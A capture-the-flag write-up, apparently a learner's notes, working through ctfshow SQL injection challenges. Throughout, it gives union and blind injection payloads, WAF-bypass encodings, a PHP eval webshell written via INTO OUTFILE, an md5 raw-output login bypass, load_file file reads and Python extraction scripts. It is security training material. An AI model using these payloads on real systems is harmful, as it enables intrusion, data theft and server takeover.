目录
1' and '1'='1 有结果
1' and '1'='2 无结果
字符型注入点
1' order by 3 --+ 正常 1' order by 4 --+ 报错 0' union select 1,2,3 --+ 三个显性位置 0' union select 1,2,database() --+ 当前数据库名为ctfshow_web 0' union select 1,2,table_name from information_schema.tables where table_schema='ctfshow_web' limit 0,1--+ 该ctfshow-web数据库只有 ctfshow_user表 0' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='ctfshow_web' and table_name='ctfshow_user' limit 0,1--+ 有id,username password三个字段 0' union select 1,2,concat_ws(id,username,password) from ctfshow_web.ctfshow_user where username='flag' limit 0,1--+ 获得flag
总结:前面username != ‘flag’对联合注入无效 联合注入也添加where条件为username=’flag‘即可
打开发现一只猫 需要点击select模块
1' and '1'='1' --+
1' and '1'='2' --+
字符型注入点
1' order by 2 --+ 成功 1' order by 3 --+ 不成功 只有两列 1' union select 1,2 --+ 两个位置都显示出来了 0' union select 1,database() --+ 0' union select 1,group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web' --+ 发现有两张表 ctfshow_user1/user2 按照提示也是在第二张表中进行查找元素
总结 直接就能查询了 select 1,password 没有username flag字符串在 username中
0' union select 1,password from ctfshow_web.ctfshow_user2 where username='flag' limit 0,1--+
总结 通过前两题基础? 直接看提示 输出三个字段 依旧是字符型注入点 在user3的表中查询 并且过滤返回结果是否存在flag字符串 和上一题同理 flag字符串在username字段中 不查询username即可 并且ctfshow的flag也不存在flag字符串
0' union select 1,2,password from ctfshow_web.ctfshow_user3 where username='flag' limit 0,1--+
过滤了flag或者数字在输入id=2和3的时候是没有回显的 因为回显中包含了数字
flag中大概率也会有数字 可以用base64编码或者hex编码绕过,
to_base64()
,hex()
试过了编码,都没有回显,应该是编码后还是存在数字,只能换个方法了
先编码 如果编码中存在数字进行替换
-1' union select 'a',replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(to_base64(password),"1","@A"),"2","@B"),"3","@C"),"4","@D"),"5","@E"),"6","@F"),"7","@G"),"8","@H"),"9","@I"),"0","@J") from ctfshow_user4 where username = 'flag' --+
将的得到的内容 粘贴到解密脚本中
import base64 flag64 = 'Y@CRmc@Bhvd@CtiNTNmOTMwYS@J@JMjVjLTQ@ANjctODM@AZS@JyNWNkMGUwMGEwM@BJ@I' flag = flag64.replace("@A", "1").replace("@B", "2").replace("@C", "3").replace("@D", "4").replace("@E", "5").replace( "@F", "6").replace("@G", "7").replace("@H", "8").replace("@I", "9").replace("@J", "0") flag = base64.b64decode(flag) #经过 Base64 解码后的字节数据 flag = flag.decode('utf-8') #对字节数据进行utf-8编码 print(flag)
总结 如果过滤必须输出出来内容 可以使用加密和替换 得到结果再反替换和解密
?只要匹配上0-127ASCII字符 就返回FALSE ,不能输出 可以使用写文件的方式 得到getshell?
写文件
第一种 写木马?
1‘ union select 1,"<?php eval($_POST[1]); ?>" into outfile '/var/www/html/1.php
不行 那就试试持续加密 先对内容进行base64加密 再进行url加密 最后用数据库内部函数from base64解码?
在这里卡了好久犯了一个致命的错误 就是id必须是一个不存在的 否则影响一句话木马的执行
1' union select 1,from_base64("%50%44%39%77%61%48%41%67%5a%58%5a%68%62%43%67%6b%58%31%42%50%55%31%52%62%4d%56%30%70%4f%7a%38%2b") into outfile '/var/www/html/1.php
99' union select 1,from_base64("%50%44%39%77%61%48%41%67%5a%58%5a%68%62%43%67%6b%58%31%42%50%55%31%52%62%4d%56%30%70%4f%7a%38%2b") into outfile '/var/www/html/1.php
查看当前目录 有一个api
查看api目录 有config.php
查看config.php文件 有连接数据库的账号密码
使用蚁剑连接 右键数据操作?
找到flag
第二种 将结果写入到txt文件中 访问txt文件
1' union select 1,password from ctfshow_user5 into outfile '/var/www/html/2.txt'--+
总结
如过过滤所有输出 可以使用写文件的方式
这关开始就过滤了 所以 我们要从头来越细越好 因为 不知道过滤了什么 举个例子?
1' --+ 能输出 代表 注释没被过滤
1' order by 3--+ 成功
1' order by 4--+ 失败
order没被过滤
1' union select 1,2,3--+ 无显示 估计是 有被过滤的
1' UNION SELECT 1,2,3 --+ 过滤了小写以及双写 没过滤大写
步骤与web171同理 得出这个表名为 ctfshow_user
最终poc
0' UNION SELECT 1,2,password from ctfshow_web.ctfshow_user where username='flag'--+
总结 过滤了union select的小写以及双写 没过滤大写
1'%0aand%0a'1'='1'%23 成功
1'%0aand%0a'1'='2'%23 失败
过滤了空格和注释符
过滤了空格 用%0a或者/**/代替即可 过滤了注释 使用 %23进行代替
最终poc
0'%0aUNION%0aSELECT%0a1,2,password%0afrom%0actfshow_web.ctfshow_user%0awhere%0ausername='flag'%23
总结 过滤空格 使用%0a或者/**/代替 过滤注释使用%23代替
1'%0aand%0a1=1%23 成功
1'%0aand%0a1=2%23 失败
和上一题一样 加上过滤了/**/ 直接用上一题poc即可 上一题 我用的%0a代替的空格
0'%0aUNION%0aSELECT%0a1,2,password%0afrom%0actfshow_web.ctfshow_user%0awhere%0ausername='flag'%23
1'%0cand%0c1=1%23? 成功
1'%0cand%0c1=2%23? 失败
过滤了空格的%0a但是还可以使用%0c替换
0'%0cUNION%0cSELECT%0c1,2,password%0cfrom%0cctfshow_web.ctfshow_user%0cwhere%0cusername='flag'%23
总结:
空格被过滤可以用,/**/,%09,%0a,%0b,%0c,%0d还有括号绕过
1' --+? 无结果? ? 注释被过滤
1’%23 无结果? ? %23也被过滤
1’‘? 成功? 多加一个单引号闭合服务器中的单引号
1'%0cand%0c'1'='1''? ?这里我出现一个问题 我想直接使用两个双引号 但是 不成功 估计是连续三个单引号导致的 那就是用or 一真则真
1'%0cand%0c'1'='1 只能这样
1'%0cor%0c'1'='1'' 这样也可以
1'%0cor%0c'1'='1' 这样就不行了?
0'%0cUNION%0cSELECT%0c1,2,password%0cfrom%0cctfshow_web.ctfshow_user%0cwhere%0cusername='flag'%0cand%0c'1'='1
?总结:
注释的方法有三种,-- 和#还有闭合号注释
不能用select 直接在原语句构造
只过滤了x0c等 但是%0c没过滤(虽然写法不同 但是都是算是换页符) 对我们没有影响,(这个时候%0a %0b都不行 我估计是也被过滤了 ) 主要是过滤了select 不能使用联合查询等?
/i
标志表示不区分大小写。于是在原语句进行构造 一定多尝试!!
0'%0cor%0cusername="flag"%0cand%0c'1'='1 0'%0cor%0cusername="flag"'
总结 如果前面存在否定 但是后面有or 不影响or语句
输入的时候 把flag关键字过滤了 使用sql查询语句中的 like即可
0'%0cor%0cusername%0clike%0c"f___"'
确实还是这张表
看看你pass字段里有没有包含ctfshow的行 可以用反引号当空格
确实存在这么一列? 还有一点 有的时候不行 记住url编码
发现如果存在指定内容 就返回记录数1 如果不存在就为0 也就相当于布尔盲注进行判断
python脚本 (这是本人第一次跟老师弄得sql python脚本)
很感慨 这python脚本很强大 第一眼看到的时候感觉具难 慢慢发现很好理解
import requests #请求模块 import time #睡眠模块 # 需要请求的url url = "http://9039ff9b-cdf4-4377-9593-411c132bbf99.challenge.ctf.show/select-waf.php" # 字典 因为已知flag就有0-9 a-z 所以就是一个简易字典 flagstr="ctfshow}{0123456789-abcdefghijklmnopqrstuvwxyz" # 先定义一个flag为空 flag = "" # 循环45次因为flag为45个字符 range(0,45)表示一个从 0 到 37 的整数序列 for i in range(0,45): # 遍历我们的字典 for x in flagstr: # 这是post请求中提交的数据 正则匹配 {}为flag+x占位 注意regexp里面要用双引号包裹起来 data = { "tableName":"`ctfshow_user`where`pass`regexp('{}')".format(flag+x) } # 提交post请求 将服务器的应答报文赋值给response变量 response = requests.post(url,data=data) # 有并发数量限制的题目,就睡一段时间 # time.sleep(0.3) # 在应答报文中找关键点 如果找到了 返回1 没找到返回0 # 如果找到了输出一下当前遍历的x 并且将这个x追加到flag变量中 且推出当前循环 if response.text.find("user_count = 1;")>0: print("+++++++++++++++++++={} is right".format(x)) flag+=x break print(flag) # ctfshow{66127f11-44a5-4109-9355-ae209cbe5f6e}
过滤的很多?
单引号双引号反引号都被屏蔽了 甚至还有where 就是没有过滤空格
单引号双引号可以使用十六进制代替 where 可以使用group by分组联合having代替
注意having 条件是关于pass的 那么group by 后面就要跟pass
import requests # 请求模块 import time # 睡眠模块 # 定义一个将字符串转换成十六进制的函数 def string_to_hex(input_string): # 使用encode方法将字符串转换为字节串,再使用hex函数得到十六进制表示 tzy = input_string.encode().hex() return tzy # 需要请求的url url = "http://9767a3b2-080b-405f-95f7-77513dd1b4f0.challenge.ctf.show/select-waf.php" # 字典 因为已知flag就有0-9 a-z 所以就是一个简易字典 flagstr = "ctfshow}{0123456789-abcdefghijklmnopqrstuvwxyz" # 先定义一个flag为空 flag = "" # 循环45次因为flag为45个字符 range(0,45)表示一个从 0 到 37 的整数序列 for i in range(0, 45): # 遍历我们的字典 for x in flagstr: # 这是post请求中提交的数据 正则匹配 {}为flag+x占位 注意regexp里面要用双引号包裹起来 data = { "tableName": " ctfshow_user group by pass having pass regexp(0x{})".format(string_to_hex(flag+x)) } # 提交post请求 将服务器的应答报文赋值给response变量 response = requests.post(url, data=data) # 有并发数量限制的题目,就睡一段时间 # time.sleep(0.3) # 在应答报文中找关键点 如果找到了 返回1 没找到返回0 # 如果找到了输出一下当前遍历的x 并且将这个x追加到flag变量中 且推出当前循环 if response.text.find("user_count = 1;") > 0: print("+++++++++++++++++++={} is right".format(x)) flag += x print(x) break print(flag)
且数字被过滤了
本来想着传入ascii(a)-ascii(b)但是正确写法为ascii(’a‘)-ascii(‘b’)单引号还被过滤了
只能跟着大师傅的方法走了
使用concat进行字符的连接
构造出将十六进制数分别转换成该形式
按照这个思路自己写了一个转换函数
def hex_to_long(input_hex): tmp="concat(" for x in input_hex: if ord(x)>=97: print(type(x)) tmp += "str("+x+")," else: x=int(x) tmp += "(" for i in range(x): tmp+="true+" if i==x-1: tmp = tmp[:-1]+")," tmp += tmp[:-1]+")" return tmp print(hex_to_long("a12bq12we"))
输出,在concat中 字符必须使用引号 否则报错 但是又发现单引号被过滤了
concat('a',(true),(true+true),'b','q',(true),(true+true),'w','e',concat('a',(true),(true+true),'b','q',(true),(true+true),'w','e')
那就把a先转换成ascii的形式 例如a为97 97个true相加 再用char(97)进行转换 即可绕过单引号过滤
转换函数
import requests # 请求模块 import time # 睡眠模块 # 定义一个将字符串转换成十六进制的函数 def string_to_hex(input_string): # 使用encode方法将字符串转换为字节串,再使用hex函数得到十六进制表示 tzy = input_string.encode().hex() return tzy def hex_to_long(input_hex): tmp = "concat(" for x in input_hex: if ord(x) >= 97: tmp += "char(" for t in range(ord(x)): tmp += "true+" if t == ord(x) - 1: tmp = tmp[:-1] tmp += ")," else: x = int(x) tmp += "(" for i in range(x): tmp += "true+" if i == x-1: tmp = tmp[:-1] tmp += ")," tmp = tmp[:-1] tmp += ")" return tmp
完整python脚本(当前时间为14:11)这个时候 我使用完整脚本测试的时候出问题了 在15:39全部修改完毕
原因
?-符号必须也要转换成ascii次数的true相加 否则在concat执行时-会报错? 并且0也没有使用false?
import requests # 请求模块 import time # 睡眠模块 def hex_to_long(input_hex): tmp = "concat(" y=0 y+=1 for x in input_hex: if ord(x) >= 97 or ord(x) == 45 : tmp += "char(" for t in range(ord(x)): tmp += "true+" if t == ord(x) - 1: tmp = tmp[:-1] tmp += ")," else: if ord(x) > 48 and ord(x) <= 57: x = int(x) tmp += "(" for i in range(x): tmp += "true+" if i == x-1: tmp = tmp[:-1] tmp += ")," else: if ord(x) == 48: tmp += "(false)," tmp = tmp[:-1] tmp += ")" return tmp url = "http://072a1b91-18d3-4c23-9f3c-54432b823e02.challenge.ctf.show/select-waf.php" flagstr = "ctfshow}{0123456789-abcdefghijklmnopqrstuvwxyz" flag = "" for i in range(0, 45): # 遍历我们的字典 for x in flagstr: data = { "tableName":"ctfshow_user group by pass having pass regexp({})".format(hex_to_long(flag+x)) } response = requests.post(url, data=data) if response.text.find("user_count = 1;") > 0: print("+++++++++++++++++++={} is right".format(x)) flag += x print(flag) break #else: #print("+++++++++++++++++++={} is wrong".format(x)) #print(flag+x)
增加了尖括号
^
和%
的过滤。 对我们无影响 直接使用上一题的payload
题中
$password = md5($_POST['password'],true);
,将md5函数的第二参数设置为了true。
- raw_output:如果可选的 raw_output 被设置为 TRUE,那么 MD5 报文摘要将以16字节长度的原始二进制格式返回。
这里的二进制格式,并不是指转成0101,而是binary mode。
对这个函数的进行本地测试,看一下:
ffifdyop
是一个特殊的字符串,类似万能密码。还有129581926211651571912466741651878684928也可以达到同样的效果(经过测试好像没用)。查询语句就变成了
$sql = "select count(*) from ctfshow_user where username = 'admin' and password= ''or'6�]��!r,��b';
获取flag
总结 '0'or'3aaa' 恒为真? 提示只有admin才能回去flag 那就用admin登录 密码用万能密码?
下面的图片解释一下啊 万能密码
数字和字符串比较的话 会把字符串转换成数字 如果在sql语句中 条件最好是字符 如果为整形 就造成了弱类型比较 字母开头的转换成数字都是0 所以 当用户名为0 时 就能把所有用户名开头为字母的 查出来
这个密码判断 转换成整形和数据库的字符密码比较 也是弱类型比较也能成功
直接抓包 获取flag
密码判断时不转换成整形了
提示flag在api/index.php中
群主说直接写脚本读 并说是凌晨四点25分? 太强了哥
跟着视频一步一步学
思路就是 通过admin位置进行注入 进行读文件 判断这个单个字符是哪一个字符(就是布尔注入) 首先就是找输入什么的时候页面有区别
注意 无论什么题 一定要多多测试
多多测试?多多测试?多多测试?多多测试!!!!!!!!!!!!!!!!!!!!
在username为0和1的时候有区别
0的返回表单内容有u8bef
1的返回表单内容有u8d25
这就构成了盲注的条件
在写脚本之前先判断一下 固定语句是什么
首先就是where后 id=可以直接跟if语句
传参直接传if就可以?
因为是php文件 开头肯定是<? 第一个肯定是<?
怎么发现if语句是永真 我取一位试试
发现第一位只有<返回1?
确定了固定部分语句了 开始写脚本
我真的服了? 我认为是没有问题的?
单独把if(substr(load_file('/var/www/html/api/index.php'),{},1)regexp('{}'),1,0)拿出来都好使 放到脚本就不好使
我弄了一个点查出原因?
脚本的返回包是页面源代码
而真正的识别码在bp抓到的返回包中
2023/12/14 19:37问群里的人 没人回复 先留着 以后再弄
import requests #请求模块 url = "http://78d681d9-5dcb-431a-a7e5-5af55e290985.challenge.ctf.show/select-waf.php" flagstr="<}{0123456789-abcdefghijklmnopqrstuvwxyz><?#=,;$" flag = "" for i in range(1,300): for x in flagstr: print(x) data = { "username":"if(substr(load_file('/var/www/html/api/index.php'),{},1)regexp('{}'),1,0)".format(i,x), "password":"0" } print(data) response = requests.post(url,data=data) #print(response.text) if response.text.find("u8d25")>0: print("+++++++++++++++++++={} is right".format(x)) flag+=x break else: print("+++++++++++++++++++={} is wrong".format(x)) print(flag)
时隔五天回头看 发现问题在哪了
再post提交进行抓包的时候发现 提交的位置是/api的位置 在脚本中将数据提交的位置是原页面所以获取不到想要的结果?
修改url位置 在后面加上api即可
import requests #请求模块 url = "http://78d681d9-5dcb-431a-a7e5-5af55e290985.challenge.ctf.show/api" flagstr="<}{0123456789-abcdefghijklmnopqrstuvwxyz><?#=,;$" flag = "" for i in range(1,300): for x in flagstr: print(x) data = { "username":"if(substr(load_file('/var/www/html/api/index.php'),{},1)regexp('{}'),1,0)".format(i,x), "password":"0" } print(data) response = requests.post(url,data=data) #print(response.text) if response.text.find("u8d25")>0: print("+++++++++++++++++++={} is right".format(x)) flag+=x break else: print("+++++++++++++++++++={} is wrong".format(x)) print(flag)
得到flag